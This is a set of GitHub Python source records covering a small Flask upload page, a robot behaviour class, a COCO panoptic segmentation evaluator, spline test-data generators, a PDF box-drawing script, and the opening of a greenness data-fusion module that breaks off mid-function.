+{"seq_id":"38836439789","text":"import os\nfrom flask import Flask, request, redirect, url_for\nfrom werkzeug import secure_filename\n\nUPLOAD_FOLDER = 'static'\nALLOWED_EXTENSIONS = set(['txt'])\n\napp = Flask(__name__)\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\ndef allowed_file(filename):\n    return '.' in filename and \\\n           filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS\n\n@app.route(\"/\")\ndef index():\n\treturn '<img src=\"https://media1.giphy.com/media/fYFwoatsat4qI/giphy.gif\">'\n\n@app.route(\"/admin\", methods=['GET', 'POST'])\ndef admin():\n    if request.method == 'POST':\n        file = request.files['file']\n        if file and allowed_file(file.filename):\n            filename = secure_filename(file.filename)\n            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n            return redirect(url_for('index'))\n    return \"\"\"\n    <!doctype html>\n    <title>Admin Upload</title>\n    <h1>Upload New File To Root</h1>\n    <form action=\"\" method=post enctype=multipart/form-data>\n      <p><input type=file name=file>\n         <input type=submit value=Upload>\n    </form>\n    <p>%s</p>\n    \"\"\" % \"<br>\".join(os.listdir(app.config['UPLOAD_FOLDER'],))\n\nif __name__ == \"__main__\":\n\tapp.run(host='127.0.0.1', port=5001, debug=True)\n","repo_name":"beta-oof/reconpot","sub_path":"ReconPot/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15155401553","text":"__author__ = 'kristian'\nfrom behaviours.behaviour import Behaviour\nfrom sensobs.red_detector import RedDetector\nfrom motob import make_recommendation\n\nclass FollowRedBehaviour(Behaviour):\n\n    def __init__(self, bbcon, red_detector):\n        if not isinstance(red_detector, RedDetector):\n            raise Exception(\"Invalid type red_detector: \" + str(type(red_detector)))\n        super().__init__(bbcon, [red_detector])\n\n        self.PRIORITY = 20\n\n\n    def consider_activation(self):\n        self.active_flag = True\n\n    def consider_deactivation(self):\n        self.active_flag = False\n\n    def sense_and_act(self):\n        red_detector = self.sensobs[0]\n\n        if not isinstance(red_detector, RedDetector):\n            raise Exception(\"Invalid type red_detector: \" + str(type(red_detector)))\n\n        red_position = red_detector.get_red_position()\n\n        red_position = red_detector.get_red_position()\n\n        left = abs(1.0-red_position)/2.0\n        right = abs(red_position)/2.0\n\n        left = min(left, 1.0)\n        right = min(right, 1.0)\n\n        print(\"\\033[91m Red position: \"+str(red_position)+ \", dir:{} {}\".format(left, right) +\"\\033[0m\")\n\n        recommendation = [make_recommendation(left, right)]\n        self.motor_recommendations = [recommendation]\n\n        confidence = red_detector.get_confidence() * 0.9\n        print(\"RED confidence: {}\".format(confidence))\n        self.set_match_degree(confidence)","repo_name":"matiasvc/pl2-oving6","sub_path":"behaviours/follow_red_behaviour.py","file_name":"follow_red_behaviour.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35538620836","text":"import contextlib\nimport io\nimport argparse\nimport glob\nimport itertools\nimport json\nimport logging\nimport numpy as np\nimport os\nimport tempfile\nfrom collections import OrderedDict\nfrom typing import Optional\n\nimport torch\nimport tqdm\nfrom PIL import Image\nfrom tabulate import tabulate\n\nfrom detectron2.data import MetadataCatalog\nfrom detectron2.utils import comm\nfrom detectron2.utils.file_io import PathManager\n\nfrom detectron2.structures import Instances, Boxes\n\nfrom detectron2.evaluation import COCOPanopticEvaluator\n# from detectron2.modeling.meta_arch.panoptic_fpn import combine_semantic_and_instance_outputs\n\nimport pycocotools.mask as mask_utils\nfrom pycocotools.coco import COCO\nfrom pycocotools.cocoeval import COCOeval\n\ntry:\n    np.int\nexcept:\n    np.int = np.int32\n    np.float = np.float32\n\nimport sys\nsys.path.append('.')\n\nimport data.register_coco_panoptic_annos_semseg\n\nlogger = logging.getLogger(__name__)\n\n\ndef combine_semantic_and_instance_outputs_custom(\n    instance_results,\n    semantic_results,\n    overlap_threshold,\n    stuff_area_thresh,\n    instances_score_thresh,\n):\n    \"\"\"\n    Implement a simple combining logic following\n    \"combine_semantic_and_instance_predictions.py\" in panopticapi\n    to produce panoptic segmentation outputs.\n\n    Args:\n        instance_results: output of :func:`detector_postprocess`.\n        semantic_results: an (H, W) tensor, each element is the contiguous semantic\n            category id\n\n    Returns:\n        panoptic_seg (Tensor): of shape (height, width) where the values are ids for each segment.\n        segments_info (list[dict]): Describe each segment in `panoptic_seg`.\n            Each dict contains keys \"id\", \"category_id\", \"isthing\".\n    \"\"\"\n    panoptic_seg = torch.zeros_like(semantic_results, dtype=torch.int32)\n\n    # sort instance outputs by scores\n    sorted_inds = torch.argsort(-instance_results.scores)\n\n    current_segment_id = 0\n    segments_info = []\n\n    instance_masks = instance_results.pred_masks.to(dtype=torch.bool, device=panoptic_seg.device)\n\n    # Add instances one-by-one, check for overlaps with existing ones\n    for inst_id in sorted_inds:\n        score = instance_results.scores[inst_id].item()\n        if score < instances_score_thresh:\n            break\n        mask = instance_masks[inst_id]  # H,W\n        mask_area = mask.sum().item()\n\n        if mask_area == 0:\n            continue\n\n        intersect = (mask > 0) & (panoptic_seg > 0)\n        intersect_area = intersect.sum().item()\n\n        if intersect_area * 1.0 / mask_area > overlap_threshold:\n            continue\n\n        if intersect_area > 0:\n            mask = mask & (panoptic_seg == 0)\n\n        current_segment_id += 1\n        panoptic_seg[mask] = current_segment_id\n        segments_info.append(\n            {\n                \"id\": current_segment_id,\n                \"isthing\": True,\n                \"score\": score,\n                \"category_id\": instance_results.pred_classes[inst_id].item(),\n                \"instance_id\": inst_id.item(),\n            }\n        )\n\n    # Add semantic results to remaining empty areas\n    semantic_labels = torch.unique(semantic_results).cpu().tolist()\n    for semantic_label in semantic_labels:\n        # if semantic_label == 0:  # 0 is a special \"thing\" class\n        #     continue\n        if semantic_label < 80:  # all ids smaller than 80 are \"thing\" classes\n            continue\n        mask = (semantic_results == semantic_label) & (panoptic_seg == 0)\n        mask_area = mask.sum().item()\n        if mask_area < stuff_area_thresh:\n            continue\n\n        current_segment_id += 1\n        panoptic_seg[mask] = current_segment_id\n        segments_info.append(\n            {\n                \"id\": current_segment_id,\n                \"isthing\": False,\n                \"category_id\": semantic_label,\n                \"area\": mask_area,\n            }\n        )\n\n    return panoptic_seg, segments_info\n\n\nclass COCOPanopticEvaluatorCustom(COCOPanopticEvaluator):\n    \"\"\"\n    Evaluate Panoptic Quality metrics on COCO using PanopticAPI.\n    It saves panoptic segmentation prediction in `output_dir`\n\n    It contains a synchronize call and has to be called from all workers.\n    \"\"\"\n\n    def __init__(\n            self,\n            dataset_name: str,\n            output_dir: Optional[str] = None,\n            evaluator_inst = None,\n            evaluator_semseg = None,\n            instance_seg_result_path = None,\n            overlap_threshold = None,\n            stuff_area_thresh = None,\n            instances_score_thresh = None,\n    ):\n        \"\"\"\n        Args:\n            dataset_name: name of the dataset\n            output_dir: output directory to save results for evaluation.\n            evaluator_inst\n            evaluator_semseg\n        \"\"\"\n        super().__init__(dataset_name=dataset_name, output_dir=output_dir)\n        self.evaluator_inst = evaluator_inst\n        self.evaluator_semseg = evaluator_semseg\n        self.instance_seg_result_path = instance_seg_result_path\n        self.cocoDt = None\n        if self.instance_seg_result_path is not None:\n            gt_file = \"datasets/coco/annotations/instances_val2017.json\"\n            cocoGt = COCO(annotation_file=gt_file)\n            inst_result_file = os.path.join(instance_seg_result_path, \"coco_instances_results.json\")\n            print(\"loading pre-computed instance seg from \\n{}\".format(inst_result_file))\n            cocoDt = cocoGt.loadRes(inst_result_file)\n            self.cocoDt = cocoDt\n            self.cat2label = {cat_info['id']: label for label, cat_info in enumerate(cocoGt.dataset['categories'])}\n        self.overlap_threshold = overlap_threshold\n        self.stuff_area_thresh = stuff_area_thresh\n        self.instances_score_thresh = instances_score_thresh\n\n    def process(self, inputs, outputs):\n        from panopticapi.utils import id2rgb\n\n        for input, output in tqdm.tqdm(zip(inputs, outputs)):\n            # panoptic_img, segments_info = output[\"panoptic_seg\"]\n            panoptic_img, segments_info = self.merge_inst_semseg_result_to_panoseg(output)\n            panoptic_img = panoptic_img.cpu().numpy()\n            assert segments_info is not None\n\n            file_name = os.path.basename(input[\"file_name\"])\n            file_name_png = os.path.splitext(file_name)[0] + \".png\"\n            with io.BytesIO() as out:\n                Image.fromarray(id2rgb(panoptic_img)).save(out, format=\"PNG\")\n                segments_info = [self._convert_category_id(x) for x in segments_info]\n                self._predictions.append(\n                    {\n                        \"image_id\": input[\"image_id\"],\n                        \"file_name\": file_name_png,\n                        \"png_string\": out.getvalue(),\n                        \"segments_info\": segments_info,\n                    }\n                )\n\n    def merge_inst_semseg_result_to_panoseg(self, output):\n        # keys in segments_info:\n        #   {\n        #   \"id\": int(panoptic_label) + 1,\n        #   \"category_id\": int(pred_class),\n        #   \"isthing\": bool(isthing),\n        #   }\n        inst_file = output['inst_file']\n        semseg_file = output['semseg_file']\n        # inst_image = Image.open(inst_file)\n        semseg_image = Image.open(semseg_file)\n        # obtaining semseg result is easy\n        semseg_map, dist = self.evaluator_semseg.post_process_segm_output(\n            np.array(semseg_image),  # (h, w), ndarray\n        )\n\n        # obtaining inst seg result is much more complex\n        if self.cocoDt is None:\n            if self.evaluator_inst.post_type == \"minmax\":\n                output_instance, dist_map, pred_map = self.evaluator_inst.post_process_segm_output_by_minmax(inst_file)\n            elif self.evaluator_inst.post_type == \"threshold\":\n                output_instance = self.evaluator_inst.post_process_segm_output_by_threshold(inst_file)\n            else:\n                raise NotImplementedError\n            inst_seg_with_class = self.merge_inst_semseg_result_to_instseg(semseg_map, dist, output_instance['instances'])\n        else:\n            # load pre-computed dt\n            image_id = output[\"image_id\"]\n            instance_det = self.cocoDt.imgToAnns[image_id]\n            scores = [det['score'] for det in instance_det]\n            segmentations = [det['segmentation'] for det in instance_det]\n            category_ids = [self.cat2label[det['category_id']] for det in instance_det]\n\n            scores = torch.tensor(scores, device=\"cuda\")\n            category_ids = torch.tensor(category_ids, device=\"cuda\")\n            segmentations = mask_utils.decode(segmentations)\n            height, width, num_inst = segmentations.shape\n            segmentations = torch.tensor(segmentations, device=\"cuda\").permute(2, 0, 1).contiguous()\n\n            result = Instances((height, width))\n            result.pred_masks = segmentations.float()\n            result.scores = scores\n            result.pred_boxes = Boxes(torch.zeros(num_inst, 4))\n            result.pred_classes = category_ids\n            output_instance = {'instances': result}\n            inst_seg_with_class = output_instance['instances']\n\n        panoptic_img, segments_info = combine_semantic_and_instance_outputs_custom(\n            instance_results=inst_seg_with_class,\n            semantic_results=torch.from_numpy(semseg_map).to(inst_seg_with_class.pred_classes.device),\n            overlap_threshold=self.overlap_threshold,\n            stuff_area_thresh=self.stuff_area_thresh,\n            instances_score_thresh=self.instances_score_thresh,\n        )\n        return panoptic_img, segments_info\n\n    def merge_inst_semseg_result_to_instseg(self, semseg_map, semseg_dist, instance_seg):\n        \"\"\"\n        label each instance via max vote\n        Args:\n            semseg_map: (h, w)\n            semseg_dist: (h, w, num_cls)\n            instance_seg: Instances with fields dict_keys(['pred_masks', 'scores', 'pred_boxes', 'pred_classes'])\n        Returns:\n            instance_seg_with_class\n        \"\"\"\n        pred_masks = instance_seg.pred_masks  # (num_inst, h, w)\n        semseg_dist = torch.from_numpy(semseg_dist).to(pred_masks.device)[:, :, :80]  # select from the best thing class\n        semseg_prob = 1. - semseg_dist / torch.max(semseg_dist)  # (h, w, k)\n        mask_probs = torch.einsum(\"nhw, hwk -> nk\", pred_masks, semseg_prob)\n        pred_classes = mask_probs.argmax(-1)\n\n        instance_seg.pred_classes = pred_classes\n        return instance_seg\n\n\ndef get_args_parser_pano_seg():\n    parser = argparse.ArgumentParser('COCO panoptic segmentation', add_help=False)\n    parser.add_argument('--dist_type', type=str, help='color type',\n                        default='abs', choices=['abs', 'square', 'mean'])\n    parser.add_argument('--prompt', type=str, help='color type',\n                        default=\"000000466730\")\n    parser.add_argument('--ckpt_file', type=str, default=\"\")\n    parser.add_argument('--overlap_threshold', type=float, default=0.5)\n    parser.add_argument('--stuff_area_thresh', type=float, default=8192)\n    parser.add_argument('--instances_score_thresh', type=float, default=0.55)\n    # args for inst results\n    parser.add_argument('--dist_thr', type=float, default=16.)\n    parser.add_argument('--nms_type', type=str, help='color type',\n                        default='matrix', choices=['soft', 'matrix'])\n    parser.add_argument('--nms_iou', type=float, default=0.6)\n    parser.add_argument('--work_dir', type=str, help='color type',\n                        default=\"\")\n    parser.add_argument('--input_size', type=int, default=448)\n    return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n    # pano args\n    args = get_args_parser_pano_seg()\n    print(args)\n    ckpt_file = args.ckpt_file\n    # define pred paths\n    work_dir = args.work_dir\n    pred_dir_inst = os.path.join(work_dir, \"pano_inst_inference_{}_{}_size{}\".format(\n        ckpt_file, args.prompt, args.input_size))\n    pred_dir_semseg = os.path.join(work_dir, \"pano_semseg_inference_{}_{}_size{}\".format(\n        ckpt_file, args.prompt, args.input_size))\n    instance_seg_result_path = os.path.join(\n        work_dir,\n        \"instance_segm_post_merge_{}_{}\".format(ckpt_file, args.prompt),\n        \"dist{}_{}nms_iou{}\".format(args.dist_thr, args.nms_type, args.nms_iou),\n    )\n    gt_file = \"datasets/coco/annotations/instances_val2017.json\"\n\n    print(pred_dir_inst)\n    print(pred_dir_semseg)\n\n    # define instance evaluator, note we only need the post-processing method\n    dataset_name_inst = 'coco_2017_val'\n    from eval.coco_panoptic.COCOCAInstSegEvaluatorCustom import COCOEvaluatorCustom\n    from eval.coco_panoptic.COCOCAInstSegEvaluatorCustom import define_colors_per_location_r_gb\n    PALETTE_DICT_INST = define_colors_per_location_r_gb()\n    evaluator_inst = COCOEvaluatorCustom(\n        dataset_name_inst,\n        tasks=(\"segm\", ),\n        palette_dict=PALETTE_DICT_INST,\n        pred_dir=pred_dir_inst,\n        num_windows=4,\n        post_type=\"threshold\",\n        dist_thr=args.dist_thr,\n    )\n\n    # define semantic seg evaluator, note we only need the post-processing method\n    dataset_name_semseg = 'coco_2017_val_panoptic_with_sem_seg'\n    from eval.coco_panoptic.COCOPanoSemSegEvaluatorCustom import SemSegEvaluatorCustom\n    # args_semseg = get_semseg_args()\n    from data.coco_semseg.gen_color_coco_panoptic_segm import define_colors_by_mean_sep\n    PALETTE_DICT_SEMSEG = define_colors_by_mean_sep()\n    PALETTE_SEMSEG = [v for k, v in PALETTE_DICT_SEMSEG.items()]\n    evaluator_semseg = SemSegEvaluatorCustom(\n        dataset_name_semseg,\n        distributed=True,\n        palette=PALETTE_SEMSEG,\n        pred_dir=pred_dir_semseg,\n        dist_type=\"abs\",\n    )\n\n    # define pano seg evaluator\n    # dataset_name = 'coco_2017_val_panoptic'\n    dataset_name = 'coco_2017_val_panoptic_with_sem_seg'\n    output_dir = os.path.join(work_dir, \"panoptic_segm_{}_OverlapThr{}_StuffAreaThr{}_InstScoreThr{}\".format(\n        ckpt_file, args.overlap_threshold, args.stuff_area_thresh, args.instances_score_thresh))\n\n    evaluator = COCOPanopticEvaluatorCustom(\n        dataset_name=dataset_name, output_dir=output_dir,\n        evaluator_inst=evaluator_inst, evaluator_semseg=evaluator_semseg,\n        instance_seg_result_path=instance_seg_result_path,\n        overlap_threshold=args.overlap_threshold,\n        stuff_area_thresh=args.stuff_area_thresh,\n        instances_score_thresh=args.instances_score_thresh,\n    )\n\n    inputs = []\n    outputs = []\n    prediction_list_inst = glob.glob(os.path.join(pred_dir_inst, \"*.png\"))\n    prediction_list_semseg = glob.glob(os.path.join(pred_dir_semseg, \"*.png\"))\n    prediction_list_inst.sort()\n    prediction_list_semseg.sort()\n    print(\"num_pred: \", len(prediction_list_inst))\n    print(\"loading predictions\")\n    coco_pano_annos = json.load(open(gt_file, 'r'))\n    # dict_keys(['info', 'licenses', 'images', 'annotations', 'categories'])\n    file_name_to_image_id = {image_info['file_name']: image_info['id'] for image_info in coco_pano_annos['images']}\n    assert len(prediction_list_inst) == len(prediction_list_semseg) == len(file_name_to_image_id)\n    for inst_file, semseg_file in zip(prediction_list_inst, prediction_list_semseg):\n        assert os.path.basename(inst_file) == os.path.basename(semseg_file)\n        file_name = os.path.basename(inst_file).replace('.png', '.jpg')\n        image_id = file_name_to_image_id[file_name]\n        # keys in input: \"file_name\", \"image_id\"\n        input_dict = {\"file_name\": file_name, \"image_id\": image_id}\n        # keys in output: \"inst_file\", \"semseg_file\"\n        output_dict = {\n            \"file_name\": file_name, \"image_id\": image_id,  # add the infos for loading pre-computed instances\n            \"inst_file\": inst_file, \"semseg_file\": semseg_file,\n        }\n        inputs.append(input_dict)\n        outputs.append(output_dict)\n\n    evaluator.reset()\n    evaluator.process(inputs, outputs)\n    results = evaluator.evaluate()\n    print(\"all results:\")\n    print(results)\n    print(\"\\nPanoptic:\")\n    res = results[\"panoptic_seg\"]\n    for key in [\"PQ\", \"SQ\", \"RQ\", \"PQ_th\", \"SQ_th\", \"RQ_th\", \"PQ_st\", \"SQ_st\", \"RQ_st\"]:\n        print(key, res[key])\n","repo_name":"baaivision/Painter","sub_path":"Painter/eval/coco_panoptic/COCOPanoEvaluatorCustom.py","file_name":"COCOPanoEvaluatorCustom.py","file_ext":"py","file_size_in_byte":16172,"program_lang":"python","lang":"en","doc_type":"code","stars":2250,"dataset":"github-code","pt":"3"}
+{"seq_id":"38678751992","text":"#!/usr/bin/python\nimport numpy as np\nimport numpy.linalg as la\nimport random\nfrom math import sin,cos,tan,pi\n\n#Orthogonalize a vector vec w.r.t. base; i.e. vec is modified so that dot(vec,base)==0.\n#original_norm: keep original vec's norm, otherwise the norm is 1.\n#Using The Gram-Schmidt process: http://en.wikipedia.org/wiki/Gram%E2%80%93Schmidt_process\ndef Orthogonalize2(vec, base, original_norm=True):\n  base= np.array(base)/la.norm(base)\n  vec2= vec - np.dot(vec,base)*base\n  if original_norm:  return vec2 / la.norm(vec2) * la.norm(vec)\n  else:              return vec2 / la.norm(vec2)\n\n#Get an orthogonal axis of a given axis\ndef GetOrthogonalAxis(axis):\n  axis= np.array(axis)/la.norm(axis)\n  if 1.0-abs(axis[2])>=1.0e-6:\n    return Orthogonalize2([0.0,0.0,1.0],base=axis,original_norm=False)\n  else:\n    return [1.0,0.0,0.0]\n\n\n#For 1-dimensional sample data: [t,x]*N\n\n#Generate sample points: [t,x]*N\ndef Gen1d_1():\n  return [[0,2],[1,3],[2.5,3.2],[3,1]]\n\n#Generate sample points: [t,x]*N\ndef Gen1d_2(seed=10):\n  random.seed(seed)\n  data= [[random.random()*3.0,random.random()*2.0-1.0] for i in range(10)]\n  data.sort()\n  return data\n\n#Generate sample points: [t,x]*N\ndef Gen1d_3():\n  return [[i/10.0,sin(pi*i/10.0)] for i in range(21)]\n\n\n#For 1-dimensional cyclic sample data: [t,x]*N\n#where the first data and the last data are identical\n\n#Generate cyclic sample points: [t,x]*N\ndef Gen1d_cyc1():\n  return [[0,2],[1,3],[2.5,3.2],[3,1],[4,2]]\n\n#Generate cyclic sample points: [t,x]*N\ndef Gen1d_cyc2(seed=10):\n  data= Gen1d_2(seed)\n  data[-1][1]= data[0][1]\n  return data\n\n#Generate cyclic sample points: [t,x]*N\ndef Gen1d_cyc3():\n  return Gen1d_3()\n\n\n#For 2-dimensional sample data: [t,x,y]*N\n\n#Generate sample points: [t,x,y]*N\ndef Gen2d_1():\n  return [[0,0,1],[1,1.5,2],[2.5,2.5,2.5],[3,3,2]]\n\n#Generate sample points: [t,x,y]*N\ndef Gen2d_2():\n  #random.seed(10)\n  rand= lambda: random.random()*2.0-1.0\n  data= [[random.random()*3.0,rand(),rand()] for i in range(10)]\n  data.sort()\n  return data\n\n#Generate sample points: [t,x,y]*N\ndef Gen2d_3():\n  vx= 0.1\n  return [[0.0 ,vx*0.0 , 0.0],\n          [0.25,vx*0.25, 1.0],\n          [0.75,vx*0.75,-1.0],\n          [1.0 ,vx*1.0 , 0.0]]\n\n\n#For 2-dimensional cyclic sample data: [t,x,y]*N\n\n#Generate cyclic sample points: [t,x,y]*N\ndef Gen2d_cyc1():\n  return [[0,0,1],[1,1.5,2],[2.5,2.5,2.5],[3,3,2],[4,0,1]]\n\n#Generate cyclic sample points: [t,x,y]*N\ndef Gen2d_cyc2():\n  data= Gen2d_2()\n  data[-1][1]= data[0][1]\n  data[-1][2]= data[0][2]\n  return data\n\n#Generate sample points: [t,x,y]*N\ndef Gen2d_cyc3():\n  vx= 0.1\n  return [[0.0,-1.0, 0.0],\n          [1.0, 0.0, 1.0],\n          [2.0, 1.0, 0.0],\n          [3.0, 0.0,-1.0],\n          [4.0,-1.0, 0.0]]\n\n\n\n#For 3-dimensional sample data: [t,x,y,z]*N\n\n#Generate sample points: [t,x,y,z]*N\ndef Gen3d_1():\n  return [[0,0,1,2],[1,1.5,2,3],[2.5,2.5,2.5,3.2],[3,3,2,1]]\n\n#Generate sample points: [t,x,y,z]*N\ndef Gen3d_2():\n  x0= np.array([0.0,1.0,2.0])\n  xf= np.array([3.0,2.0,1.0])\n\n  ex= xf-x0\n  ex= np.array(ex)/la.norm(ex)\n  ez= GetOrthogonalAxis(ex)\n  ey= np.cross(ez,ex)\n\n  #2 variable parameterization\n  #dist= 1.0\n  #angle= pi*0.0\n  #xm= 0.5*(x0+xf)+dist*sin(angle)*ey+dist*cos(angle)*ez\n  #data= []\n  #data.append([0.0]+x0.tolist())\n  #data.append([0.5]+xm.tolist())\n  #data.append([1.0]+xf.tolist())\n\n  #5 variable parameterization\n  #angle= pi*0.0\n  #param= [[0.1,1.5],[0.8,0.5]]\n  #x= [[]]*2\n  #for i in range(len(param)):\n    #p= param[i]\n    #x[i]= (1.0-p[0])*x0+p[0]*xf+p[1]*sin(angle)*ey+p[1]*cos(angle)*ez\n  #data= []\n  #data.append([0.0]+x0.tolist())\n  #for i in range(len(param)):\n    #data.append([param[i][0]]+x[i].tolist())\n  #data.append([1.0]+xf.tolist())\n\n  #5 variable parameterization(2)\n  angle= pi*0.25\n  param= [[1.0,pi*0.2],[0.5,pi*0.1]]\n  #param= [[1.0,pi*0.0],[0.5,pi*0.0]]\n  diff= lambda p1,p2: 0.5*la.norm(xf-x0) * (p1*ex*cos(p2) + p1*(sin(angle)*ey+cos(angle)*ez)*sin(p2))\n  x= [[]]*2\n  x[0]= x0 + diff(param[0][0],param[0][1])\n  x[1]= xf + diff(param[1][0],pi-param[1][1])\n  dt= np.array([la.norm(x0-x[0]),la.norm(x[0]-x[1]),la.norm(x[1]-xf)])\n  dt= dt/sum(dt)\n  data= []\n  data.append([0.0]        +x0.tolist())\n  data.append([dt[0]]      +x[0].tolist())\n  data.append([dt[0]+dt[1]]+x[1].tolist())\n  data.append([1.0]        +xf.tolist())\n  return data\n\n#Generate sample points: [t,x,y,z]*N\ndef Gen3d_3():\n  #random.seed(10)\n  rand= lambda: random.random()*2.0-1.0\n  data= [[random.random()*3.0,rand(),rand(),rand()] for i in range(10)]\n  data.sort()\n  return data\n\n#Generate sample points: [t,x,y,z]*N\ndef Gen3d_4():\n  data= [[i/10.0,sin(pi*i/20.0),cos(pi*i/5.0),tan(pi*i/80.0)] for i in range(21)]\n  return data\n\n#Generate sample points: [t,x,y,z]*N\ndef Gen3d_5():\n  return [[0.0,0.0,0.0,0.0],\n          [0.5, 0.05,0.02,0.0],\n          [1.5,-0.05,0.07,0.0],\n          [2.5, 0.05,0.12,0.0],\n          [3.5,-0.05,0.17,0.0],\n          [4.0, 0.0,0.19,0.0]]\n\n\n","repo_name":"akihikoy/ay_test","sub_path":"python/geometry/splines/gen_data.py","file_name":"gen_data.py","file_ext":"py","file_size_in_byte":4895,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"}
+{"seq_id":"26393409082","text":"#!/usr/bin/env python\n\nimport sys\n#from PIL import Image, ImageDraw\nfrom wand.image import Image as wi \nimport xml.etree.ElementTree as et\nfrom wand.drawing import Drawing\nfrom wand.color import Color\n# The script expect to be called only from a bash script which has already called pdf2txt on the file.pdf [passed as argument] and has created a file.pdf.xml. \n\ndef drawRect(img,bbox,color, sw):\n\tslist = bbox.split(\",\")\n\trlist= [float(x) for x in slist];\n\tys = img.size[1];\n\txl = rlist.copy()\n\txl[1] = ys - rlist[3]\n\txl[3] = ys - rlist[1]\n\twith Drawing() as draw:\n\t\tdraw.fill_opacity=0;\n\t\tdraw.stroke_width=sw;\n\t\tdraw.stroke_color=color;\n\t\tprint(\"draw rect:\",xl[0], xl[1], xl[2],xl[3])\n\t\tdraw.rectangle(left=xl[0],top=xl[1],right=xl[2], bottom=xl[3])\n\t\tdraw(img)\n\t\treturn img\nxmlfile = sys.argv[2] \n#Obtain the xml tree for pdf file\nxmltree = et.parse(xmlfile)\npages = xmltree.getroot()\n# pdf file is given to ImageMagick for conversion to image files.\n# Each pdf page is converted to an image. The pdf file yeidls a list of images, one image per page.\n\nimages = wi(filename=sys.argv[1])\nfor index,ims in enumerate(images.sequence):\n\t#Prepare the image.\n\timg=wi(ims)\n\t#Trun off alpha channel\n\timg.alpha_channel='remove'\n\txs = img.size[0]; ys = img.size[1];\n\t#Get the current page from xml file.\n\txmlpage=pages[index]\n\tlayout = xmlpage.find('layout')\n\tfor textgroup in list(layout.iter('textgroup')):\n\t\tfor tbox in list(textgroup.iter('textbox')):\n\t\t\ttbox = tbox.attrib.get(\"bbox\")\n\t\t\tprint(\"calling rect:\", tbox)\n\t\t\timg = drawRect(img, tbox, Color('red'),1)\n\t\ttgbox=textgroup.attrib.get(\"bbox\")\n\t\t#img = drawRect(img,tgbox, Color('blue'),1)\n\t\tprint(index,\"--\",tgbox)\n\timg.save(filename=sys.argv[1] + \"_\" + str(index) +\".png\") \n\tprint(img.size)\n\n\n\t\t\n\n \n","repo_name":"qazirashid/journal","sub_path":"pdf/scripts/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5468937423","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Fuse green information from OSM and Sentinel-2\"\"\"\n\n__author__ = \"Christina Ludwig, GIScience Research Group, Heidelberg University\"\n__email__ = \"christina.ludwig@uni-heidelberg.de\"\n\nimport os\nimport geopandas as gpd\nimport pandas as pd\nfrom pyds import MassFunction\n\n\ndef convert_to_mass(data: pd.DataFrame, adapt_masses: bool = False):\n    \"\"\"\n    Converts data frame to series of probability masses\n    :param data: Dataframe containing mass values for g_xxx (green), n_xxx (not green), gn_xxx (green / not green)\n    :param adapt_masses: If true, adapt masses so the maximum mass value is 0.95\n    :return: pd.DataFrame containing MassFunction objects\n    \"\"\"\n    label_dict = {x: x.split(\"_\")[0] for x in data.columns}\n    return data.rename(columns=label_dict).apply(\n        lambda row: as_MassFunction(row, adapt_masses=adapt_masses), axis=1\n    )\n\n\ndef as_MassFunction(row, adapt_masses=True):\n    \"\"\"\n    Adaptes the masses to a maximum value of 0.95. Data manipulation is performed inplace.\n    :param row: pd.Series with fields g (green), n (not green) and gn (green / not green)\n    :param adapt_masses: If true, adapt masses so the maximum mass value is 0.95\n    :return:\n    \"\"\"\n    row_cp = row.copy()\n    if adapt_masses:\n        if row_cp[\"g\"] > 0.95:\n            row_cp[\"gn\"] = row_cp[\"gn\"] + row_cp[\"g\"] - 0.95\n            row_cp[\"g\"] = 0.95\n        elif row_cp[\"n\"] > 0.95:\n            row_cp[\"gn\"] = row_cp[\"gn\"] + row_cp[\"n\"] - 0.95\n            row_cp[\"n\"] = 0.95\n    return MassFunction(dict(row_cp))\n\n\ndef classify_row(row: MassFunction):\n    \"\"\"\n    Classifies beliefs into green, grey or uncertain based on pignistic probability\n    :param row: pd.Series with fields g (green), n (not green) and gn (green / not green)\n    :returns\n    \"\"\"\n    prob = row.pignistic()\n    if prob[\"g\"] > prob[\"n\"]:\n        label = \"green\"\n    elif prob[\"g\"] < prob[\"n\"]:\n        label = \"grey\"\n    else:\n        label = \"uncertain\"\n    return prob[\"g\"], prob[\"n\"], label\n\n\ndef classify_mass(mass):\n    \"\"\"\n    Derives a classification based on probability masses\n    :returns Dataframe with columns green, grey, green_grey,\n    \"\"\"\n    mass_df = pd.DataFrame({\"mass\": mass})\n    classified = mass_df.apply(\n        lambda x: classify_row(x[\"mass\"]), axis=1, result_type=\"expand\"\n    )\n    classified.columns = [\n        \"g_prob\",\n        \"n_prob\",\n        \"class\",\n    ]\n\n    mass_values = mass_df.apply(lambda r: dict(r[\"mass\"]), axis=1, result_type=\"expand\")\n    mass_values.columns = [\"green\", \"grey\", \"green_grey\"]\n\n    return mass_values.join(classified)\n\n\ndef fuse_masses(mass1, mass2):\n    \"\"\"\n    Fuses two probability masses\n    :returns\n    \"\"\"\n    # Convert to masses\n    both_masses = pd.DataFrame({\"m1\": mass1, \"m2\": mass2})\n\n    # Fuse masses\n    both_masses[\"fused\"] = both_masses.apply(\n        lambda row: row[\"m1\"].combine_conjunctive(row[\"m2\"], importance_sampling=False),\n        axis=1,\n    )\n\n    return both_masses[\"fused\"]\n\n\ndef fuse(config):\n    \"\"\"\n    Fuses information from OSM and Sentinel-2 on greenness\n    :param aoi_name:\n    :param config:\n    :return:\n    \"\"\"\n\n    aoi_name = config[\"name\"]\n    lu_polygons_file = os.path.join(\n        config[\"output_dir\"], aoi_name, f\"{aoi_name}_greenness_raw.shp\"\n    )\n    out_file = os.path.join(config[\"output_dir\"], aoi_name, f\"{aoi_name}_greenness.shp\")\n\n    lu_polygons = gpd.read_file(lu_polygons_file)\n    lu_polygons = lu_polygons\n    lu_polygons[\"area\"] = lu_polygons.area\n\n    ndvi_beliefs = lu_polygons[[\"g_ndvi\", \"n_ndvi\", \"gn_ndvi\"]]\n    